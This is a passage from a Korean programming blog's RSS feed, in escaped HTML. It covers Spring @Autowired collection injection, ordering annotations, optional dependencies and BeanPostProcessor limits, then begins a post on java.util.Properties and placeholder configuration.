    private MovieCatalog[] movieCatalogs;

    // 4.2 타입 컬렉션(List/Set) 주입
    private Set&amp;lt;MovieCatalog&amp;gt; movieCatalogSet;

    @Autowired
    public void setMovieCatalogs(Set&amp;lt;MovieCatalog&amp;gt; movieCatalogSet) {
        this.movieCatalogSet = movieCatalogSet;
    }

}&lt;/code&gt;&lt;/pre&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;주의&lt;/strong&gt;: 다중 빈 주입 시 컨테이너에 매칭되는 빈이 최소 하나 이상은 존재해야 합니다. 하나도 없다면 기동 예외가 발생하므로 &lt;code&gt;required = false&lt;/code&gt; 또는 &lt;code&gt;Optional&lt;/code&gt; 처리가 동반되어야 합니다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;4.3 Map&amp;lt;String, T&amp;gt; 주입 (빈 고유 이름 매핑)&lt;/h3&gt;
&lt;p&gt;주입받는 맵 구조에서 Key는 빈의 등록 이름(String)이 되고, &lt;strong&gt;Value는 해당 빈 인스턴스&lt;/strong&gt;로 자동 바인딩됩니다. 전략 패턴을 동적으로 구사할 때 매우 유용합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
public class MovieRecommender {


private Map&amp;lt;String, MovieCatalog&amp;gt; movieCatalogMap;

@Autowired
public void setMovieCatalogMap(Map&amp;lt;String, MovieCatalog&amp;gt; movieCatalogMap) {
    this.movieCatalogMap = movieCatalogMap;
    // Key: &amp;quot;inMemoryMovieCatalog&amp;quot; -&amp;gt; 인스턴스
    // Key: &amp;quot;jdbcMovieCatalog&amp;quot;     -&amp;gt; 인스턴스
}


}
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;4.4 순서 제어 표준비교: &lt;code&gt;@Order&lt;/code&gt; vs &lt;code&gt;@Priority&lt;/code&gt; vs &lt;code&gt;Ordered&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;여러 빈을 List나 배열로 모아 담을 때, 요소 간 정렬 순서를 결정하는 방법들의 명확한 스펙 비교 정보입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;비교 항목&lt;/th&gt;
&lt;th&gt;&lt;code&gt;@Order&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;@Priority&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;Ordered&lt;/code&gt; 인터페이스&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;제공 출처&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Spring Framework 스펙&lt;/td&gt;
&lt;td&gt;Java 표준 (Jakarta EE) 스펙&lt;/td&gt;
&lt;td&gt;Spring Framework 스펙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;적용 가능 위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;클래스 레벨, &lt;code&gt;@Bean&lt;/code&gt; 메서드&lt;/td&gt;
&lt;td&gt;오직 클래스 레벨만 가능&lt;/td&gt;
&lt;td&gt;클래스 구현부 (&lt;code&gt;getOrder()&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;단일 빈 매칭 모호성 해결&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 불가 (컬렉션 정렬만 관여)&lt;/td&gt;
&lt;td&gt;✅ 가능 (&lt;code&gt;@Primary&lt;/code&gt; 없이 단일 선택 가능)&lt;/td&gt;
&lt;td&gt;❌ 불가 (컬렉션 정렬만 관여)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;순서 제어 방식&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;정적 선언형 방식&lt;/td&gt;
&lt;td&gt;정적 선언형 방식&lt;/td&gt;
&lt;td&gt;런타임 동적 계산 가능 (프로그래밍 방식)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;공통 규칙&lt;/strong&gt;: 지정한 정수 정렬 값이 &lt;strong&gt;낮을수록(낮은 숫자) 높은 우선순위&lt;/strong&gt;를 가지며 리스트의 앞쪽에 배치됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;적용 한계 주의&lt;/strong&gt;: &lt;code&gt;@Order&lt;/code&gt;나 &lt;code&gt;@Priority&lt;/code&gt;는 오직 &lt;strong&gt;컬렉션 주입 시 담기는 요소들의 정렬 배치 순서&lt;/strong&gt;만 결정할 뿐, 싱글톤 빈 자체의 컨테이너 초기화(생성) 생명주기 순서에는 아무런 영향을 주지 않습니다. (빈 생성 순서 제어는 의존 관계 지정이나 &lt;code&gt;@DependsOn&lt;/code&gt;을 사용해야 합니다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. &lt;code&gt;required&lt;/code&gt; 속성 완전 정복&lt;/h2&gt;
&lt;h3&gt;5.1 default 동작: &lt;code&gt;required = true&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;@Autowired&lt;/code&gt;의 기본값은 필수 만족입니다. 매칭되는 타입의 빈이 컨테이너에 없으면 구동 시점에 의존성 만족 불가 예외를 던집니다.&lt;/p&gt;
&lt;h3&gt;5.2 &lt;code&gt;required = false&lt;/code&gt;: 선택적 주입 시의 동작 차이&lt;/h3&gt;
&lt;p&gt;매칭 빈이 누락되었을 때 적용되는 위치별 특수한 라이프사이클 규칙이 존재합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;메서드 주입 (Setter 등)&lt;/strong&gt;: 매칭 빈이 없다면 &lt;strong&gt;메서드 호출 자체를 수행하지 않고 건너뜁니다.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;필드 주입&lt;/strong&gt;: 주입 프로세스를 건너뛰므로 해당 필드는 &lt;strong&gt;기본 초기값(&lt;code&gt;null&lt;/code&gt;) 상태를 유지&lt;/strong&gt;합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;5.3 복잡한 생성자 해석 알고리즘 (Constructor Resolution)&lt;/h3&gt;
&lt;p&gt;스프링 컨테이너가 한 클래스 내부에 선언된 여러 생성자 중 어떤 것을 DI 용도로 선택할지 결정하는 명확한 우선순위 규칙입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Service  
public class MovieRecommender {


// 후보 A: MovieFinder 빈이 컨테이너에 없을 때 차선책으로 선택됨
@Autowired(required = false)
public MovieRecommender(CustomerPreferenceDao dao) { ... }

// 후보 B: MovieFinder 빈까지 완벽히 존재할 때 최우선 선택됨 (의존성 매칭 개수 최다)
@Autowired(required = false)
public MovieRecommender(CustomerPreferenceDao dao, MovieFinder finder) { ... }


}
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;제한 제약&lt;/strong&gt;: 동일 클래스 내의 여러 생성자에 &lt;code&gt;@Autowired&lt;/code&gt;를 지정할 경우, &lt;strong&gt;&lt;code&gt;required=true&lt;/code&gt; 속성은 오직 단 하나의 생성자에만 허용&lt;/strong&gt;됩니다. 만약 여러 생성자에 어노테이션을 붙이고자 한다면 &lt;strong&gt;모든 생성자의 속성을 &lt;code&gt;required=false&lt;/code&gt;로 통일&lt;/strong&gt;해야 경합 후보군으로 인정됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;최다 충족 원칙&lt;/strong&gt;: &lt;code&gt;required=false&lt;/code&gt;로 구성된 다중 생성자 후보군 중, &lt;strong&gt;스프링 컨테이너 내의 빈들과 매칭되는 파라미터 개수가 가장 많은 생성자를 최종 선택&lt;/strong&gt;하여 실행합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;최종 Fallback&lt;/strong&gt;: 모든 조건 충족 생성자를 찾지 못하면 기본 생성자(No-args constructor)의 유무를 파악하여 객체를 생성하며, 이마저도 없다면 예외를 발생시킵니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;5.4 단일 생성자 구조에서의 컬렉션 주입 특수 규칙&lt;/h3&gt;
&lt;p&gt;클래스에 오직 단 하나의 생성자만 존재하고파라미터 타입이 배열이나 컬렉션(List/Set/Map) 형태라면, 컨테이너에 해당 타입의 빈이 &lt;strong&gt;단 하나도 없더라도 예외를 유발하지 않고 &amp;#39;비어있는 컬렉션 인스턴스(Empty Collection)&amp;#39;를 자동 생성하여 주입&lt;/strong&gt;해 줍니다. (이때는 &lt;code&gt;@Autowired(required=false)&lt;/code&gt; 처리가 불필요합니다.)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. 선택적 의존성 표현법&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;required = false&lt;/code&gt; 속성을 지양하고 타입 시스템 레벨에서 안전하고 명시적으로 선택적 의존성을 선언하는 세 가지 모던 대안 기법 비교입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
// 1. 현대적 권장 방식 - java.util.Optional 활용  
@Autowired  
public void setMovieFinder(Optional movieFinder) {  
movieFinder.ifPresent(finder -&amp;gt; this.movieFinder = finder);  
}

// 2. 파라미터 어노테이션 방식 - @Nullable 활용  
@Autowired  
public void setMovieFinder(@Nullable MovieFinder movieFinder) {  
if (movieFinder != null) {  
this.movieFinder = movieFinder;  
}  
}
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;선택적 표현 방식&lt;/th&gt;
&lt;th&gt;타입 명시성&lt;/th&gt;
&lt;th&gt;Null 안전성 여부&lt;/th&gt;
&lt;th&gt;가독성 및 권장도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;required = false&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 어노테이션 속성에 숨겨짐&lt;/td&gt;
&lt;td&gt;❌ 주입 필드가 날 것의 &lt;code&gt;null&lt;/code&gt;이 될 수 있음&lt;/td&gt;
&lt;td&gt;보통 (전통적인 방식)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;Optional&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ 타입 레벨에 의도가 드러남&lt;/td&gt;
&lt;td&gt;✅ 내장 랩퍼 메서드로 Null 방어 가능&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;매우 높음 (모던 스프링 권장)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;@Nullable&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;⚠️ 파라미터 선언부에 표시됨&lt;/td&gt;
&lt;td&gt;⚠️ 수동으로 &lt;code&gt;if (x != null)&lt;/code&gt; 체크 필요&lt;/td&gt;
&lt;td&gt;보통 (도구 정적 분석에 이점)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;7. Spring Context 핵심 인터페이스 주입&lt;/h2&gt;
&lt;p&gt;사용자가 별도의 &lt;code&gt;@Bean&lt;/code&gt; 생성을 정의하지 않더라도, 스프링 컨테이너가 자체 구조 파악을 위해 기본적으로 상시 개방해 두는 자동 주입 가능 핵심 인프라 스트럭처 목록(Well-known Resolvable Dependencies)입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
public class MovieRecommender {  
@Autowired  
private ApplicationContext context; // 인프라 빈 직접 수용  
}
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;내장 인터페이스 명칭&lt;/th&gt;
&lt;th&gt;스프링 컨테이너 내에서의 핵심 역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;BeanFactory&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;빈 저장소 및 조회 라이프사이클을 관장하는 최상위 핵심 인터페이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;ApplicationContext&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BeanFactory의 확장체. 국제화 메시지, 이벤트 발행, 리소스 처리 등 통합 인프라 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;Environment&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;애플리케이션의 설정 프로퍼티(Properties) 및 활성화 프로파일(Profiles) 정보 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;ResourceLoader&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;파일 시스템, 클래스패스, 외부 URL 기반의 파일 리소스를 읽어오는 창구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;ApplicationEventPublisher&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;스프링 내장 이벤트 구동 아키텍처를 위한 이벤트 발행 인터페이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;MessageSource&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;다국어(i18n) 처리를 위한 텍스트 메시지 리졸버 인프라&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;⚠️ 실무 아키텍처 주의&lt;/strong&gt;: 편리하다고 해서 일반 비즈니스 서비스 레이어 내부에서 &lt;code&gt;ApplicationContext.getBean()&lt;/code&gt;을 직접 호출해 빈을 꺼내는 패턴을 남용하면 &lt;strong&gt;Service Locator 안티패턴&lt;/strong&gt;에 빠지게 됩니다. 컴포넌트 간의 결합도가 숨겨지므로 런타임 동적 조율이 필수적인 특수 상황이 아니라면 명확한 선언적 정적 DI 주입을 유지하세요.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;hr&gt;
&lt;h2&gt;8. BeanPostProcessor 내에서의 한계&lt;/h2&gt;
&lt;h3&gt;8.1 &lt;code&gt;@Autowired&lt;/code&gt; 처리의 주체&lt;/h3&gt;
&lt;p&gt;우리가 사용하는 자바 애노테이션 기반 DI 기능들은 스프링 내부의 핵심 특수 확장 컴포넌트인 &lt;code&gt;AutowiredAnnotationBeanPostProcessor&lt;/code&gt;에 의해 실질적으로 탐색 및 주입 처리가 완료됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;8.2   BeanPostProcessor 구현체 내부 &lt;code&gt;@Autowired&lt;/code&gt; 주입의 치명적 한계 (닭과 달걀 문제)&lt;/h3&gt;
&lt;p&gt;만약 커스텀 확장 기능을 위해 &lt;code&gt;BeanPostProcessor&lt;/code&gt; 인터페이스를 직접 구현하는 클래스를 만들고, 그 내부 필드에 일반적인 &lt;code&gt;@Autowired&lt;/code&gt; 주입을 시도하면 &lt;strong&gt;의존성 주입이 실패하거나 정상 작동하지 않는 라이프사이클 교착 상태&lt;/strong&gt;를 맞이하게 됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
// ❌ 작동 불가 코드 형태  
public class CustomBeanPostProcessor implements BeanPostProcessor {  
@Autowired  
private SomeService someService; // 일반 주입 프로세스가 먹히지 않음!  
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;이유와 원인:&lt;/strong&gt;&lt;br&gt;&lt;code&gt;@Autowired&lt;/code&gt;를 해석해 주는 주체인 &lt;code&gt;AutowiredAnnotationBeanPostProcessor&lt;/code&gt; 역시 결국 하나의 &lt;code&gt;BeanPostProcessor&lt;/code&gt;입니다. 스프링 컨테이너는 다른 일반 빈들을 다루기 전에 &lt;strong&gt;모든 BeanPostProcessor 부류의 인프라 빈들을 가장 먼저 초기화하여 대기&lt;/strong&gt;시켜야 합니다.&lt;/p&gt;
&lt;p&gt;따라서 인프라 처리기가 가동 준비를 마치기도 전에 생성되어야 하는 커스텀 BPP 내부의 &lt;code&gt;@Autowired&lt;/code&gt;는 이를 해석해 줄 처리 주체가 준비되지 않았으므로 먹통이 되는 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;완벽한 해결책: &lt;code&gt;static @Bean&lt;/code&gt;과 파라미터 와이어링 조합&lt;/strong&gt;&lt;br&gt;설정 클래스(&lt;code&gt;@Configuration&lt;/code&gt;) 내부에서 &lt;code&gt;BeanPostProcessor&lt;/code&gt;나 &lt;code&gt;BeanFactoryPostProcessor&lt;/code&gt;를 생성할 때는 반드시 &lt;strong&gt;&lt;code&gt;static&lt;/code&gt; 메서드로 선언하고 필요한 의존성은 메서드 파라미터로 직접 기술&lt;/strong&gt;해야 합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
@Configuration  
public class AppConfig {


// static 선언 덕분에 AppConfig 자체가 인스턴스화되기 전에 인프라 빈으로 선언 가능
// 필요한 의존성은 스프링이 직접 파라미터 바인딩으로 조율하여 완벽 주입 보장
@Bean
public static CustomBeanPostProcessor customBeanPostProcessor(SomeService someService) {
    return new CustomBeanPostProcessor(someService);
}


}
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;핵심 관리 항목&lt;/th&gt;
&lt;th&gt;가이드라인 요약 및 베스트 프랙티스&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;의존성 주입 위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;생성자 주입(✅ 최우선 권장)&lt;/strong&gt; &amp;gt; 메서드 주입 &amp;gt; 필드 주입(❌ 실무 사용 금지 권장)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;타입 탐색 기준&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;타입(Type) 매칭이 기본 원칙. &lt;code&gt;@Bean&lt;/code&gt; 메서드의 반환 타입은 파악 누락 방지를 위해 인터페이스보다 구체 타입으로 명시 선언 권장.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;required&lt;/code&gt; 유연성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;기본값은 필수(&lt;code&gt;true&lt;/code&gt;). 생성자 여러 개 경합 시 모두 &lt;code&gt;required=false&lt;/code&gt;로 맞춘 후 최다 일치 파라미터 조건 생성자 선택 원칙 작동.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;선택적 의존성 선언&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;날것의 null 유발 속성 제어보다는 자바 표준인 &lt;strong&gt;&lt;code&gt;Optional&amp;lt;T&amp;gt;&lt;/code&gt;(✅ 모던 권장)&lt;/strong&gt; 시스템 채택 권장.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;다중 빈과 순서 제어&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;복수 구현체 바인딩 시 컬렉션 활용 가능. 순서 지정 시 설정 &lt;code&gt;@Bean&lt;/code&gt; 레벨 제어가 가능한 Spring 전용 &lt;strong&gt;&lt;code&gt;@Order&lt;/code&gt;&lt;/strong&gt; 또는 단일 선택 권한까지 쥐는 표준 &lt;strong&gt;&lt;code&gt;@Priority&lt;/code&gt;&lt;/strong&gt;의 스펙 차이를 명확히 구분하여 적용.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자가 주입(Self Injection)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;내부 호출 프록시 우회 버그의 차선책이나, 동일 타입 빈 추가 시 오동작하는 최하위 Fallback 한계 명시. &lt;strong&gt;대리자 빈(Delegate) 분리 리팩토링&lt;/strong&gt;으로 우회할 것을 강력 권장.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;인프라 빈 주입 한계&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BPP 인프라 내부에서는 애노테이션 DI가 동작하지 않으므로 라이프사이클 보호를 위해 &lt;strong&gt;&lt;code&gt;static @Bean + 파라미터 주입&lt;/code&gt;&lt;/strong&gt; 구조 필수 적용.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;</description>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1135</guid>
      <comments>https://sundaland.tistory.com/1135#entry1135comment</comments>
      <pubDate>Fri, 19 Jun 2026 09:07:49 +0900</pubDate>
    </item>
    <item>
      <title>Properties</title>
      <link>https://sundaland.tistory.com/1134</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;java.util.Properties의 용도와 스프링에서의 동작 원리&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이전 포스팅에서 외부 설정 문자열을 알맞은 자바 타입으로 변환해 주는 &lt;code&gt;PropertyEditor&lt;/code&gt;에 대해 알아보았습니다. 이번에는 외부 설정 데이터를 자바 메모리상에 조작하기 쉬운 형태로 담아두는 핵심 저장소이자 도구인 &lt;b&gt;&lt;code&gt;java.util.Properties&lt;/code&gt;&lt;/b&gt; 클래스에 대해 파헤쳐 보겠습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링을 쓰면서 &lt;code&gt;application.properties&lt;/code&gt; 파일은 매일 보지만, 정작 이 파일이 자바의 어떤 객체와 매핑되고 어떻게 도구로 활용되는지 놓치기 쉽습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 1. java.util.Properties란 무엇인가? (개념과 용도)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;java.util.Properties&lt;/code&gt;는 자바가 아주 초기 버전(JDK 1.0)부터 제공해 온 유서 깊은 내장 클래스입니다. 내부 구조를 보면 자바의 &lt;b&gt;&lt;code&gt;Hashtable&lt;/code&gt;을 상속&lt;/b&gt;받아 구현되어 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;핵심 용도:&lt;/b&gt; Key와 Value를 세트로 관리하는 일종의 &lt;code&gt;Map&lt;/code&gt; 역할을 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;차별점:&lt;/b&gt; 일반적인 Map과 달리, Properties는 &lt;b&gt;Key와 Value가 모두 '문자열(String)'로만 제한&lt;/b&gt;됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;존재 이유:&lt;/b&gt; 주로 애플리케이션이 실행될 때 필요한 환경 설정 정보, 유저 세팅값, 혹은 다국어 지원을 위한 메시지 텍스트(&lt;code&gt;.properties&lt;/code&gt; 파일)를 자바 코드 내부로 읽어와 저장하고 관리하는 용도로 사용됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 2. 스프링 IoC 컨테이너에서의 Properties 용도&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링 프레임워크 환경에서 &lt;code&gt;Properties&lt;/code&gt; 객체는 주로 &lt;b&gt;&quot;외부 환경 변수와 자바 빈(Bean) 사이의 가교&quot;&lt;/b&gt; 역할을 하는 핵심 도구로 쓰입니다. 대표적으로 다음과 같은 곳에서 대활약합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;① DB 연결 정보 등 핵심 인프라 설정 관리&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;과거 XML 기반 설정이든, 현대 자바 설정(&lt;code&gt;@Configuration&lt;/code&gt;)이든 데이터베이스 접속 정보(&lt;code&gt;url&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;)나 메일 서버 설정 등은 소스 코드에 하드코딩하지 않고 외부 &lt;code&gt;Properties&lt;/code&gt; 객체에 모아서 관리합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;② &lt;code&gt;@Value&lt;/code&gt; 애노테이션과의 결합&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링 내부 엔진이 외부 &lt;code&gt;.properties&lt;/code&gt; 파일을 읽어 &lt;code&gt;Properties&lt;/code&gt; 객체로 로딩해 두면, 우리는 자바 코드 어디서든 &lt;b&gt;&lt;code&gt;${key}&lt;/code&gt;&lt;/b&gt; 문법을 사용해 원하는 설정값을 쏙쏙 뽑아 쓸 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 3. 스프링에서 Properties가 '도구'로 작동하는 메커니즘&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링은 이 &lt;code&gt;Properties&lt;/code&gt; 클래스를 단순한 데이터 저장소를 넘어, 컨테이너 전역에 값을 뿌려주는 '설정 플레이스홀더(Placeholder) 도구'로 격상시켜 사용합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;그 중심에는 &lt;code&gt;PropertySourcesPlaceholderConfigurer&lt;/code&gt;라는 특수한 컴포넌트가 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; ️ 자바 기반 구성 예시로 보는 동작 원리&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;@Configuration
public class AppConfig {

    // [Step 1] 외부 설정 데이터를 담은 Properties 객체를 생성하고 
    // PropertySourcesPlaceholderConfigurer 도구에 세팅합니다.
    @Bean
    public static PropertySourcesPlaceholderConfigurer properties() {
        PropertySourcesPlaceholderConfigurer configurer = new PropertySourcesPlaceholderConfigurer();

        Properties props = new Properties();
        props.setProperty(&quot;jdbc.driver.className&quot;, &quot;com.mysql.cj.jdbc.Driver&quot;);
        props.setProperty(&quot;jdbc.url&quot;, &quot;jdbc:mysql://localhost:3306/mydb&quot;);

        configurer.setProperties(props);
        return configurer;
    }

    // [Step 2] 위 도구가 등록되면, 스프링은 @Value 안의 템플릿 문법을 파싱하여
    // Properties에 저장된 실제 문자열 값으로 치환해 줍니다.
    @Value(&quot;${jdbc.driver.className}&quot;)
    private String driverClassName;

    @Value(&quot;${jdbc.url}&quot;)
    private String url;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;데이터 로딩:&lt;/b&gt; &lt;code&gt;Properties&lt;/code&gt; 객체가 생성되어 Key-Value 쌍(&lt;code&gt;jdbc.url&lt;/code&gt; = &lt;code&gt;jdbc:mysql...&lt;/code&gt;)을 문자열로 보관합니다.&lt;/span&gt;&lt;/li&gt;
